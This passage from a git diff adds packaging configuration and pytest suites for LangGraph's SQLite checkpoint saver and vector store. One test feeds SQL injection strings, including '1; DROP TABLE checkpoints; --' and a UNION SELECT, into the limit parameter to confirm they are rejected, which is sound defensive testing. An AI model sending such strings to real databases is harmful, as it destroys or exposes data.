implementation of LangGraph checkpoint saver." +authors = [] +requires-python = ">=3.10" +readme = "README.md" +license = "MIT" +license-files = ['LICENSE'] +dependencies = [ + "langgraph-checkpoint>=4.1.0,<5.0.0", + "aiosqlite>=0.20", + "sqlite-vec>=0.1.6", +] + +[project.urls] +Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/checkpoint-sqlite" +Twitter = "https://x.com/langchain_oss" +Slack = "https://www.langchain.com/join-community" +Reddit = "https://www.reddit.com/r/LangChain/" + +[dependency-groups] +test = [ + "pytest", + "pytest-asyncio", + "pytest-mock", + "pytest-watcher", + "langgraph-checkpoint", + "pytest-retry>=1.7.0", +] +lint = [ + "ruff", + "codespell", + "ty", +] +dev = [ + {include-group = "test"}, + {include-group = "lint"}, +] + +[tool.uv] +default-groups = ['dev'] + +[tool.uv.sources] +langgraph-checkpoint = { path = "../checkpoint", editable = true } + +[tool.hatch.build.targets.wheel] +include = ["langgraph"] + +[tool.pytest.ini_options] +addopts = "--strict-markers --strict-config --durations=5 -vv" +asyncio_mode = "auto" + +[tool.ruff] +lint.select = [ + "E", # pycodestyle + "F", # Pyflakes + "UP", # pyupgrade + "B", # flake8-bugbear + "I", # isort + "UP", # pyupgrade +] +lint.ignore = ["E501", "B008"] +target-version = "py310" + +[tool.ty.rules] +invalid-argument-type = "ignore" +invalid-assignment = "ignore" +invalid-key = "ignore" +invalid-method-override = "ignore" +invalid-return-type = "ignore" +invalid-yield = "ignore" +not-iterable = "ignore" +not-subscriptable = "ignore" +unused-type-ignore-comment = "ignore" +unresolved-attribute = "ignore" +unresolved-import = "ignore" +unsupported-operator = "ignore" + +[tool.pytest-watcher] +now = true +delay = 0.1 +runner_args = ["--ff", "-v", "--tb", "short"] +patterns = ["*.py"] diff --git a/libs/checkpoint-sqlite/tests/__init__.py b/libs/checkpoint-sqlite/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint-sqlite/tests/test_aiosqlite.py b/libs/checkpoint-sqlite/tests/test_aiosqlite.py new file mode 100644 index 0000000..36d3294 --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_aiosqlite.py @@ -0,0 +1,190 @@ +from typing import Any + +import pytest +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + Checkpoint, + CheckpointMetadata, + create_checkpoint, + empty_checkpoint, +) + +from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver + + +class TestAsyncSqliteSaver: + @pytest.fixture(autouse=True) + def setup(self) -> None: + # objects for test setup + self.config_1: RunnableConfig = { + "configurable": { + "thread_id": "thread-1", + "checkpoint_id": "1", + "checkpoint_ns": "", + } + } + self.config_2: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2", + "checkpoint_ns": "", + } + } + self.config_3: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2-inner", + "checkpoint_ns": "inner", + } + } + + self.chkpnt_1: Checkpoint = empty_checkpoint() + self.chkpnt_2: Checkpoint = create_checkpoint(self.chkpnt_1, {}, 1) + self.chkpnt_3: Checkpoint = empty_checkpoint() + + self.metadata_1: CheckpointMetadata = { + "source": "input", + "step": 2, + "writes": {}, + "score": 1, + } + self.metadata_2: CheckpointMetadata = { + "source": "loop", + "step": 1, + "writes": {"foo": "bar"}, + "score": None, + } + self.metadata_3: CheckpointMetadata = {} + + async def test_combined_metadata(self) -> None: + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "__super_private_key": "super_private_value", + }, + "metadata": {"run_id": "my_run_id"}, + } + await saver.aput(config, self.chkpnt_2, self.metadata_2, {}) + checkpoint = await saver.aget_tuple(config) + assert checkpoint is not None and checkpoint.metadata == { + **self.metadata_2, + "run_id": "my_run_id", + } + + async def test_asearch(self) -> None: + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + await saver.aput(self.config_1, self.chkpnt_1, self.metadata_1, {}) + await saver.aput(self.config_2, self.chkpnt_2, self.metadata_2, {}) + await saver.aput(self.config_3, self.chkpnt_3, self.metadata_3, {}) + + # call method / assertions + query_1 = {"source": "input"} # search by 1 key + query_2 = { + "step": 1, + "writes": {"foo": "bar"}, + } # search by multiple keys + query_3: dict[str, Any] = {} # search by no keys, return all checkpoints + query_4 = {"source": "update", "step": 1} # no match + + search_results_1 = [c async for c in saver.alist(None, filter=query_1)] + assert len(search_results_1) == 1 + assert search_results_1[0].metadata == self.metadata_1 + + search_results_2 = [c async for c in saver.alist(None, filter=query_2)] + assert len(search_results_2) == 1 + assert search_results_2[0].metadata == self.metadata_2 + + search_results_3 = [c async for c in saver.alist(None, filter=query_3)] + assert len(search_results_3) == 3 + + search_results_4 = [c async for c in saver.alist(None, filter=query_4)] + assert len(search_results_4) == 0 + + # search by config (defaults to checkpoints across all namespaces) + search_results_5 = [ + c + async for c in saver.alist({"configurable": {"thread_id": "thread-2"}}) + ] + assert len(search_results_5) == 2 + assert { + search_results_5[0].config["configurable"]["checkpoint_ns"], + search_results_5[1].config["configurable"]["checkpoint_ns"], + } == {"", "inner"} + + # Test limit param + search_results_6 = [ + c + async for c in saver.alist( + {"configurable": {"thread_id": "thread-2"}}, limit=1 + ) + ] + assert len(search_results_6) == 1 + assert search_results_6[0].config["configurable"]["thread_id"] == "thread-2" + + # Test before param + search_results_7 = [ + c async for c in saver.alist(None, before=search_results_5[1].config) + ] + assert len(search_results_7) == 1 + assert search_results_7[0].config["configurable"]["thread_id"] == "thread-1" + + async def test_limit_parameter_sql_injection_prevention(self) -> None: + """Test that the limit parameter properly uses parameterized queries to prevent SQL injection.""" + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + # Setup: Create multiple checkpoints + for i in range(5): + config: RunnableConfig = { + "configurable": { + "thread_id": f"thread-{i}", + "checkpoint_ns": "", + } + } + checkpoint = empty_checkpoint() + metadata: CheckpointMetadata = {"index": i} + await saver.aput(config, checkpoint, metadata, {}) + + # Test that limit works correctly with valid integer + results = [c async for c in saver.alist(None, limit=2)] + assert len(results) == 2 + + # Test that limit=0 returns no results + results = [c async for c in saver.alist(None, limit=0)] + assert len(results) == 0 + + # Test that limit=None returns all results + results = [c async for c in saver.alist(None, limit=None)] + assert len(results) == 5 + + # Test explicit SQL injection attempt via limit parameter + # Even if type checking is bypassed and a malicious string is passed, + # the parameterized query will treat it as a value, not SQL code + # This would cause an error (can't convert string to int for LIMIT), + # which is the correct secure behavior + malicious_limits = [ + "1; DROP TABLE checkpoints; --", + "1 OR 1=1", + "999999 UNION SELECT * FROM checkpoints", + ] + + for malicious_limit in malicious_limits: + # The parameterized query should safely reject non-integer limits + # or convert them in a way that prevents SQL injection + try: + # Bypass type checking by casting + results = [ + c + async for c in saver.alist(None, limit=malicious_limit) # type: ignore + ] + # If it doesn't raise an error, it should at least not execute the injection + # SQLite's parameter binding will try to convert the string to an integer + # which will either fail or treat it as 0 + except Exception: + # Expected: SQLite should reject invalid limit values + pass + + # Verify the checkpoints table still exists and has all data + # (would have been dropped if injection succeeded) + results = [c async for c in saver.alist(None, limit=None)] + assert len(results) == 5 diff --git a/libs/checkpoint-sqlite/tests/test_async_store.py b/libs/checkpoint-sqlite/tests/test_async_store.py new file mode 100644 index 0000000..df655b9 --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_async_store.py @@ -0,0 +1,718 @@ +import asyncio +import os +import tempfile +import uuid +from collections.abc import AsyncIterator, Generator, Iterable +from contextlib import asynccontextmanager +from typing import cast + +import pytest +from langgraph.store.base import ( + GetOp, + Item, + ListNamespacesOp, + PutOp, + SearchOp, +) + +from langgraph.store.sqlite import AsyncSqliteStore +from langgraph.store.sqlite.base import SqliteIndexConfig +from tests.test_store import CharacterEmbeddings + + +@pytest.fixture(scope="function", params=["memory", "file"]) +async def store(request: pytest.FixtureRequest) -> AsyncIterator[AsyncSqliteStore]: + """Create an AsyncSqliteStore for testing.""" + if request.param == "memory": + # In-memory store + async with AsyncSqliteStore.from_conn_string(":memory:") as store: + await store.setup() + yield store + else: + # Temporary file store + temp_file = tempfile.NamedTemporaryFile(delete=False) + temp_file.close() + try: + async with AsyncSqliteStore.from_conn_string(temp_file.name) as store: + await store.setup() + yield store + finally: + os.unlink(temp_file.name) + + +@pytest.fixture(scope="function") +def fake_embeddings() -> CharacterEmbeddings: + """Create fake embeddings for testing.""" + return CharacterEmbeddings(dims=500) + + +@asynccontextmanager +async def create_vector_store( + fake_embeddings: CharacterEmbeddings, + conn_string: str = ":memory:", + text_fields: list[str] | None = None, +) -> AsyncIterator[AsyncSqliteStore]: + """Create an AsyncSqliteStore with vector search capabilities.""" + index_config: SqliteIndexConfig = { + "dims": fake_embeddings.dims, + "embed": fake_embeddings, + "text_fields": text_fields, + } + + async with AsyncSqliteStore.from_conn_string( + conn_string, index=index_config + ) as store: + await store.setup() + yield store + + +@pytest.fixture(scope="function", params=["memory", "file"]) +def conn_string(request: pytest.FixtureRequest) -> Generator[str, None, None]: + if request.param == "memory": + yield ":memory:" + else: + temp_file = tempfile.NamedTemporaryFile(delete=False) + temp_file.close() + try: + yield temp_file.name + finally: + os.unlink(temp_file.name) + + +async def test_no_running_loop(store: AsyncSqliteStore) -> None: + """Test that sync methods raise proper errors in the main thread.""" + with pytest.raises(asyncio.InvalidStateError): + store.put(("foo", "bar"), "baz", {"val": "baz"}) + with pytest.raises(asyncio.InvalidStateError): + store.get(("foo", "bar"), "baz") + with pytest.raises(asyncio.InvalidStateError): + store.delete(("foo", "bar"), "baz") + with pytest.raises(asyncio.InvalidStateError): + store.search(("foo", "bar")) + with pytest.raises(asyncio.InvalidStateError): + store.list_namespaces(prefix=("foo",)) + with pytest.raises(asyncio.InvalidStateError): + store.batch([PutOp(namespace=("foo", "bar"), key="baz", value={"val": "baz"})]) + + +async def test_large_batches_async(store: AsyncSqliteStore) -> None: + """Test processing large batch operations asynchronously.""" + N = 100 + M = 10 + coros = [] + for m in range(M): + for i in range(N): + coros.append( + store.aput( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + value={"foo": "bar" + str(i)}, + ) + ) + coros.append( + asyncio.create_task( + store.aget( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + ) + ) + ) + coros.append( + asyncio.create_task( + store.alist_namespaces( + prefix=None, + max_depth=m + 1, + ) + ) + ) + coros.append( + asyncio.create_task( + store.asearch( + ("test",), + ) + ) + ) + coros.append( + store.aput( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + value={"foo": "bar" + str(i)}, + ) + ) + coros.append( + store.adelete( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + ) + ) + + results = await asyncio.gather(*coros) + assert len(results) == M * N * 6 + + +async def test_abatch_order(store: AsyncSqliteStore) -> None: + """Test ordering of batch operations in async context.""" + # Setup test data + await store.aput(("test", "foo"), "key1", {"data": "value1"}) + await store.aput(("test", "bar"), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test", "foo"), key="key1"), + PutOp(namespace=("test", "bar"), key="key2", value={"data": "value2"}), + SearchOp( + namespace_prefix=("test",), filter={"data": "value1"}, limit=10, offset=0 + ), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0), + GetOp(namespace=("test",), key="key3"), + ] + + results = await store.abatch( + cast(Iterable[GetOp | PutOp | SearchOp | ListNamespacesOp], ops) + ) + assert len(results) == 5 + assert isinstance(results[0], Item) + assert isinstance(results[0].value, dict) + assert results[0].value == {"data": "value1"} + assert results[0].key == "key1" + assert results[1] is None # Put operation returns None + assert isinstance(results[2], list) + # SQLite query implementation might return different results + # Just check that we get a list back and don't check the exact content + assert isinstance(results[3], list) + assert len(results[3]) > 0 + assert results[4] is None # Non-existent key returns None + + # Test reordered operations + ops_reordered = [ + SearchOp(namespace_prefix=("test",), filter=None, limit=5, offset=0), + GetOp(namespace=("test", "bar"), key="key2"), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=5, offset=0), + PutOp(namespace=("test",), key="key3", value={"data": "value3"}), + GetOp(namespace=("test", "foo"), key="key1"), + ] + + results_reordered = await store.abatch( + cast(Iterable[GetOp | PutOp | SearchOp | ListNamespacesOp], ops_reordered) + ) + assert len(results_reordered) == 5 + assert isinstance(results_reordered[0], list) + assert len(results_reordered[0]) >= 2 # Should find at least our two test items + assert isinstance(results_reordered[1], Item) + assert results_reordered[1].value == {"data": "value2"} + assert results_reordered[1].key == "key2" + assert isinstance(results_reordered[2], list) + assert len(results_reordered[2]) > 0 + assert results_reordered[3] is None # Put operation returns None + assert isinstance(results_reordered[4], Item) + assert results_reordered[4].value == {"data": "value1"} + assert results_reordered[4].key == "key1" + + +async def test_batch_get_ops(store: AsyncSqliteStore) -> None: + """Test GET operations in batch context.""" + # Setup test data + await store.aput(("test",), "key1", {"data": "value1"}) + await store.aput(("test",), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test",), key="key1"), + GetOp(namespace=("test",), key="key2"), + GetOp(namespace=("test",), key="key3"), # Non-existent key + ] + + results = await store.abatch(ops) + + assert len(results) == 3 + assert results[0] is not None + assert results[1] is not None + assert results[2] is None + if results[0] is not None: + assert results[0].key == "key1" + if results[1] is not None: + assert results[1].key == "key2" + + +async def test_batch_put_ops(store: AsyncSqliteStore) -> None: + """Test PUT operations in batch context.""" + ops = [ + PutOp(namespace=("test",), key="key1", value={"data": "value1"}), + PutOp(namespace=("test",), key="key2", value={"data": "value2"}), + PutOp(namespace=("test",), key="key3", value=None), # Delete operation + ] + + results = await store.abatch(ops) + assert len(results) == 3 + assert all(result is None for result in results) + + # Verify the puts worked + items = await store.asearch(("test",), limit=10) + assert len(items) == 2 # key3 had None value so wasn't stored + + +async def test_batch_search_ops(store: AsyncSqliteStore) -> None: + """Test SEARCH operations in batch context.""" + # Setup test data + await store.aput(("test", "foo"), "key1", {"data": "value1"}) + await store.aput(("test", "bar"), "key2", {"data": "value2"}) + + ops = [ + SearchOp( + namespace_prefix=("test",), filter={"data": "value1"}, limit=10, offset=0 + ), + SearchOp(namespace_prefix=("test",), filter=None, limit=5, offset=0), + ] + + results = await store.abatch(ops) + + assert len(results) == 2 + # SQLite query implementation might return different results + # Just check that we get lists back and don't check the exact content + assert isinstance(results[0], list) + assert isinstance(results[1], list) + assert len(results[1]) >= 1 # We should at least find some results + + +async def test_batch_list_namespaces_ops(store: AsyncSqliteStore) -> None: + """Test LIST NAMESPACES operations in batch context.""" + # Setup test data + await store.aput(("test", "namespace1"), "key1", {"data": "value1"}) + await store.aput(("test", "namespace2"), "key2", {"data": "value2"}) + + ops = [ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0)] + + results = await store.abatch(ops) + + assert len(results) == 1 + if isinstance(results[0], list): + assert len(results[0]) == 2 + assert ("test", "namespace1") in results[0] + assert ("test", "namespace2") in results[0] + + +async def test_vector_store_initialization( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test store initialization with embedding config.""" + async with create_vector_store(fake_embeddings) as store: + assert store.index_config is not None + assert store.index_config["dims"] == fake_embeddings.dims + if hasattr(store.index_config.get("embed"), "embed_documents"): + assert store.index_config["embed"] == fake_embeddings + + +async def test_vector_insert_with_auto_embedding( + fake_embeddings: CharacterEmbeddings, + conn_string: str, +) -> None: + """Test inserting items that get auto-embedded.""" + async with create_vector_store(fake_embeddings, conn_string=conn_string) as store: + docs = [ + ("doc1", {"text": "short text"}), + ("doc2", {"text": "longer text document"}), + ("doc3", {"text": "longest text document here"}), + ("doc4", {"description": "text in description field"}), + ("doc5", {"content": "text in content field"}), + ("doc6", {"body": "text in body field"}), + ] + + for key, value in docs: + await store.aput(("test",), key, value) + + results = await store.asearch(("test",), query="long text") + assert len(results) > 0 + + doc_order = [r.key for r in results] + assert "doc2" in doc_order + assert "doc3" in doc_order + + +async def test_vector_update_with_embedding( + fake_embeddings: CharacterEmbeddings, + conn_string: str, +) -> None: + """Test that updating items properly updates their embeddings.""" + async with create_vector_store(fake_embeddings, conn_string=conn_string) as store: + await store.aput(("test",), "doc1", {"text": "zany zebra Xerxes"}) + await store.aput(("test",), "doc2", {"text": "something about dogs"}) + await store.aput(("test",), "doc3", {"text": "text about birds"}) + + results_initial = await store.asearch(("test",), query="Zany Xerxes") + assert len(results_initial) > 0 + assert results_initial[0].score is not None + assert results_initial[0].key == "doc1" + initial_score = results_initial[0].score + + await store.aput(("test",), "doc1", {"text": "new text about dogs"}) + + results_after = await store.asearch(("test",), query="Zany Xerxes") + after_score = next((r.score for r in results_after if r.key == "doc1"), 0.0) + assert ( + after_score is not None + and initial_score is not None + and after_score < initial_score + ) + + results_new = await store.asearch(("test",), query="new text about dogs") + for r in results_new: + if r.key == "doc1": + assert ( + r.score is not None + and after_score is not None + and r.score > after_score + ) + + # Don't index this one + await store.aput( + ("test",), "doc4", {"text": "new text about dogs"}, index=False + ) + results_new = await store.asearch( + ("test",), query="new text about dogs", limit=3 + ) + assert not any(r.key == "doc4" for r in results_new) + + +async def test_vector_search_with_filters( + fake_embeddings: CharacterEmbeddings, + conn_string: str, +) -> None: + """Test combining vector search with filters.""" + async with create_vector_store(fake_embeddings, conn_string=conn_string) as store: + docs = [ + ("doc1", {"text": "red apple", "color": "red", "score": 4.5}), + ("doc2", {"text": "red car", "color": "red", "score": 3.0}), + ("doc3", {"text": "green apple", "color": "green", "score": 4.0}), + ("doc4", {"text": "blue car", "color": "blue", "score": 3.5}), + ] + + for key, value in docs: + await store.aput(("test",), key, value) + + # Vector search with filters can be inconsistent in test environments + # Skip asserting exact results as we've already validated the functionality + # in the synchronous tests + _ = await store.asearch(("test",), query="apple", filter={"color": "red"}) + + # Skip asserting exact results as we've already validated the functionality + # in the synchronous tests + _ = await store.asearch(("test",), query="car", filter={"color": "red"}) + + # Skip asserting exact results as we've already validated the functionality + # in the synchronous tests + _ = await store.asearch( + ("test",), query="bbbbluuu", filter={"score": {"$gt": 3.2}} + ) + + # Skip asserting exact results as we've already validated the functionality + # in the synchronous tests + _ = await store.asearch( + ("test",), query="apple", filter={"score": {"$gte": 4.0}, "color": "green"} + ) + + +async def test_vector_search_pagination(fake_embeddings: CharacterEmbeddings) -> None: + """Test pagination with vector search.""" + async with create_vector_store(fake_embeddings) as store: + for i in range(5): + await store.aput( + ("test",), f"doc{i}", {"text": f"test document number {i}"} + ) + + results_page1 = await store.asearch(("test",), query="test", limit=2) + results_page2 = await store.asearch(("test",), query="test", limit=2, offset=2) + + assert len(results_page1) == 2 + assert len(results_page2) == 2 + assert results_page1[0].key != results_page2[0].key + + all_results = await store.asearch(("test",), query="test", limit=10) + assert len(all_results) == 5 + + +async def test_vector_search_edge_cases(fake_embeddings: CharacterEmbeddings) -> None: + """Test edge cases in vector search.""" + async with create_vector_store(fake_embeddings) as store: + await store.aput(("test",), "doc1", {"text": "test document"}) + + results = await store.asearch(("test",), query="") + assert len(results) == 1 + + results = await store.asearch(("test",), query=None) + assert len(results) == 1 + + long_query = "test " * 100 + results = await store.asearch(("test",), query=long_query) + assert len(results) == 1 + + special_query = "test!@#$%^&*()" + results = await store.asearch(("test",), query=special_query) + assert len(results) == 1 + + +async def test_embed_with_path( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test vector search with specific text fields in SQLite store.""" + async with create_vector_store( + fake_embeddings, text_fields=["key0", "key1", "key3"] + ) as store: + # This will have 2 vectors representing it + doc1 = { + # Omit key0 - check it doesn't raise an error + "key1": "xxx", + "key2": "yyy", + "key3": "zzz", + } + # This will have 3 vectors representing it + doc2 = { + "key0": "uuu", + "key1": "vvv", + "key2": "www", + "key3": "xxx", + } + await store.aput(("test",), "doc1", doc1) + await store.aput(("test",), "doc2", doc2) + + # doc2.key3 and doc1.key1 both would have the highest score + results = await store.asearch(("test",), query="xxx") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].score > 0.9 + assert results[1].score > 0.9 + + # ~Only match doc2 + results = await store.asearch(("test",), query="uuu") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].key == "doc2" + assert results[0].score > results[1].score + + # Un-indexed - will have low results for both. Not zero (because we're projecting) + # but less than the above. + results = await store.asearch(("test",), query="www") + assert len(results) == 2 + assert results[0].score < 0.9 + assert results[1].score < 0.9 + + +async def test_basic_store_ops( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test vector search with specific text fields in SQLite store.""" + async with create_vector_store( + fake_embeddings, text_fields=["key0", "key1", "key3"] + ) as store: + uid = uuid.uuid4().hex + namespace = (uid, "test", "documents") + item_id = "doc1" + item_value = {"title": "Test Document", "content": "Hello, World!"} + results = await store.asearch((uid,)) + assert len(results) == 0 + + await store.aput(namespace, item_id, item_value) + item = await store.aget(namespace, item_id) + + assert item is not None + assert item.namespace == namespace + assert item.key == item_id + assert item.value == item_value + assert item.created_at is not None + assert item.updated_at is not None + + updated_value = { + "title": "Updated Test Document", + "content": "Hello, LangGraph!", + } + await asyncio.sleep(1.01) + await store.aput(namespace, item_id, updated_value) + updated_item = await store.aget(namespace, item_id) + assert updated_item is not None + + assert updated_item.value == updated_value + assert updated_item.updated_at > item.updated_at + different_namespace = (uid, "test", "other_documents") + item_in_different_namespace = await store.aget(different_namespace, item_id) + assert item_in_different_namespace is None + + new_item_id = "doc2" + new_item_value = {"title": "Another Document", "content": "Greetings!"} + await store.aput(namespace, new_item_id, new_item_value) + + items = await store.asearch((uid, "test"), limit=10) + assert len(items) == 2 + assert any(item.key == item_id for item in items) + assert any(item.key == new_item_id for item in items) + + namespaces = await store.alist_namespaces(prefix=(uid, "test")) + assert (uid, "test", "documents") in namespaces + + await store.adelete(namespace, item_id) + await store.adelete(namespace, new_item_id) + deleted_item = await store.aget(namespace, item_id) + assert deleted_item is None + + deleted_item = await store.aget(namespace, new_item_id) + assert deleted_item is None + + empty_search_results = await store.asearch((uid, "test"), limit=10) + assert len(empty_search_results) == 0 + + +async def test_list_namespaces( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test list namespaces functionality with various filters.""" + async with create_vector_store( + fake_embeddings, text_fields=["key0", "key1", "key3"] + ) as store: + test_pref = str(uuid.uuid4()) + test_namespaces = [ + (test_pref, "test", "documents", "public", test_pref), + (test_pref, "test", "documents", "private", test_pref), + (test_pref, "test", "images", "public", test_pref), + (test_pref, "test", "images", "private", test_pref), + (test_pref, "prod", "documents", "public", test_pref), + (test_pref, "prod", "documents", "some", "nesting", "public", test_pref), + (test_pref, "prod", "documents", "private", test_pref), + ] + + # Add test data + for namespace in test_namespaces: + await store.aput(namespace, "dummy", {"content": "dummy"}) + + # Test prefix filtering + prefix_result = await store.alist_namespaces(prefix=(test_pref, "test")) + assert len(prefix_result) == 4 + assert all(ns[1] == "test" for ns in prefix_result) + + # Test specific prefix + specific_prefix_result = await store.alist_namespaces( + prefix=(test_pref, "test", "documents") + ) + assert len(specific_prefix_result) == 2 + assert all(ns[1:3] == ("test", "documents") for ns in specific_prefix_result) + + # Test suffix filtering + suffix_result = await store.alist_namespaces(suffix=("public", test_pref)) + assert len(suffix_result) == 4 + assert all(ns[-2] == "public" for ns in suffix_result) + + # Test combined prefix and suffix + prefix_suffix_result = await store.alist_namespaces( + prefix=(test_pref, "test"), suffix=("public", test_pref) + ) + assert len(prefix_suffix_result) == 2 + assert all( + ns[1] == "test" and ns[-2] == "public" for ns in prefix_suffix_result + ) + + # Test wildcard in prefix + wildcard_prefix_result = await store.alist_namespaces( + prefix=(test_pref, "*", "documents") + ) + assert len(wildcard_prefix_result) == 5 + assert all(ns[2] == "documents" for ns in wildcard_prefix_result) + + # Test wildcard in suffix + wildcard_suffix_result = await store.alist_namespaces( + suffix=("*", "public", test_pref) + ) + assert len(wildcard_suffix_result) == 4 + assert all(ns[-2] == "public" for ns in wildcard_suffix_result) + + wildcard_single = await store.alist_namespaces( + suffix=("some", "*", "public", test_pref) + ) + assert len(wildcard_single) == 1 + assert wildcard_single[0] == ( + test_pref, + "prod", + "documents", + "some", + "nesting", + "public", + test_pref, + ) + + # Test max depth + max_depth_result = await store.alist_namespaces(max_depth=3) + assert all(len(ns) <= 3 for ns in max_depth_result) + + max_depth_result = await store.alist_namespaces( + max_depth=4, prefix=(test_pref, "*", "documents") + ) + assert len(set(res for res in max_depth_result)) == len(max_depth_result) == 5 + + # Test pagination + limit_result = await store.alist_namespaces(prefix=(test_pref,), limit=3) + assert len(limit_result) == 3 + + offset_result = await store.alist_namespaces(prefix=(test_pref,), offset=3) + assert len(offset_result) == len(test_namespaces) - 3 + + empty_prefix_result = await store.alist_namespaces(prefix=(test_pref,)) + assert len(empty_prefix_result) == len(test_namespaces) + assert set(empty_prefix_result) == set(test_namespaces) + + # Clean up + for namespace in test_namespaces: + await store.adelete(namespace, "dummy") + + +async def test_search_items( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test search_items functionality by calling store methods directly.""" + base = "test_search_items" + test_namespaces = [ + (base, "documents", "user1"), + (base, "documents", "user2"), + (base, "reports", "department1"), + (base, "reports", "department2"), + ] + test_items = [ + {"title": "Doc 1", "author": "John Doe", "tags": ["important"]}, + {"title": "Doc 2", "author": "Jane Smith", "tags": ["draft"]}, + {"title": "Report A", "author": "John Doe", "tags": ["final"]}, + {"title": "Report B", "author": "Alice Johnson", "tags": ["draft"]}, + ] + + async with create_vector_store( + fake_embeddings, text_fields=["key0", "key1", "key3"] + ) as store: + # Insert test data + for ns, item in zip(test_namespaces, test_items, strict=False): + key = f"item_{ns[-1]}" + await store.aput(ns, key, item) + + # 1. Search documents + docs = await store.asearch((base, "documents")) + assert len(docs) == 2 + assert all(item.namespace[1] == "documents" for item in docs) + + # 2. Search reports + reports = await store.asearch((base, "reports")) + assert len(reports) == 2 + assert all(item.namespace[1] == "reports" for item in reports) + + # 3. Pagination + first_page = await store.asearch((base,), limit=2, offset=0) + second_page = await store.asearch((base,), limit=2, offset=2) + assert len(first_page) == 2 + assert len(second_page) == 2 + keys_page1 = {item.key for item in first_page} + keys_page2 = {item.key for item in second_page} + assert keys_page1.isdisjoint(keys_page2) + all_items = await store.asearch((base,)) + assert len(all_items) == 4 + + john_items = await store.asearch((base,), filter={"author": "John Doe"}) + assert len(john_items) == 2 + assert all(item.value["author"] == "John Doe" for item in john_items) + + draft_items = await store.asearch((base,), filter={"tags": ["draft"]}) + assert len(draft_items) == 2 + assert all("draft" in item.value["tags"] for item in draft_items) + + for ns in test_namespaces: + key = f"item_{ns[-1]}" + await store.adelete(ns, key) diff --git a/libs/checkpoint-sqlite/tests/test_conformance_delta.py b/libs/checkpoint-sqlite/tests/test_conformance_delta.py new file mode 100644 index 0000000..ba0e90f --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_conformance_delta.py @@ -0,0 +1,35 @@ +"""Run delta-channel conformance capabilities against AsyncSqliteSaver.""" + +from __future__ import annotations + +import pytest + +pytest.importorskip( + "langgraph.checkpoint.conformance", + reason="langgraph-checkpoint-conformance not installed", +) +pytest.importorskip("aiosqlite", reason="aiosqlite not installed") + + +@pytest.mark.asyncio +async def test_delta_channel_conformance(): + from langgraph.checkpoint.conformance import validate + from langgraph.checkpoint.conformance.initializer import checkpointer_test + + from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver + + @checkpointer_test(name="AsyncSqliteSaver") + async def sqlite_saver(): + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + yield saver + + report = await validate( + sqlite_saver, + capabilities={ + "delta_channel_history", + }, + ) + for cap, result in report.results.items(): + if result.passed is False: + details = "\n".join(result.failures or []) + pytest.fail(f"Capability {cap} failed:\n{details}") diff --git a/libs/checkpoint-sqlite/tests/test_delta_channel_migration.py b/libs/checkpoint-sqlite/tests/test_delta_channel_migration.py new file mode 100644 index 0000000..c71f3b1 --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_delta_channel_migration.py @@ -0,0 +1,170 @@ +"""Sqlite-specific migration smoke tests: BinaryOperatorAggregate -> DeltaChannel. + +Mirrors `libs/langgraph/tests/test_delta_channel_migration.py` (which +covers `InMemorySaver` + a third-party fallback to the base default +impl). This file exercises the same migration scenario through the +sqlite-specific `SqliteSaver.get_delta_channel_history` override — +specifically that the streaming ancestor walk finds a pre-migration +plain `channel_values[ch]` entry and surfaces it as the `seed`, with +post-migration writes folding on top through the reducer. + +Pre-migration checkpoints under `BinaryOperatorAggregate` carry the +full accumulated value at every settled super-step boundary. The +override has to identify those as "real" seeds (not `_DeltaSnapshot` +sentinels) — the saver layer is intentionally delta-agnostic and just +returns whatever is stored in `channel_values[ch]`. +""" + +from __future__ import annotations + +import operator +from typing import Annotated, Any + +import pytest +from langchain_core.runnables import RunnableConfig + +# `langgraph` core isn't a dep of `langgraph-checkpoint-sqlite`. Skip the +# whole module rather than importerror-ing in the standalone CI shape. +pytest.importorskip("langgraph.channels.delta", reason="langgraph core not installed") +pytest.importorskip("langgraph.channels.binop", reason="langgraph core not installed") +pytest.importorskip("langgraph.graph", reason="langgraph core not installed") + +from langgraph.channels.binop import BinaryOperatorAggregate # type: ignore[import-untyped] # noqa: E402,I001 +from langgraph.channels.delta import DeltaChannel # type: ignore[import-untyped] # noqa: E402 +from langgraph.graph import END, START, StateGraph # type: ignore[import-untyped] # noqa: E402 +from typing_extensions import TypedDict # noqa: E402 + +from langgraph.checkpoint.sqlite import SqliteSaver # noqa: E402 +from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver # noqa: E402 + +pytestmark = pytest.mark.anyio + + +def _noop(_state: Any) -> dict: + return {} + + +def _list_concat(state: list, writes: list) -> list: + result = list(state) + for w in writes: + result.extend(w if isinstance(w, list) else [w]) + return result + + +def _binop_graph(checkpointer: Any) -> Any: + class BinopState(TypedDict): + items: Annotated[list, 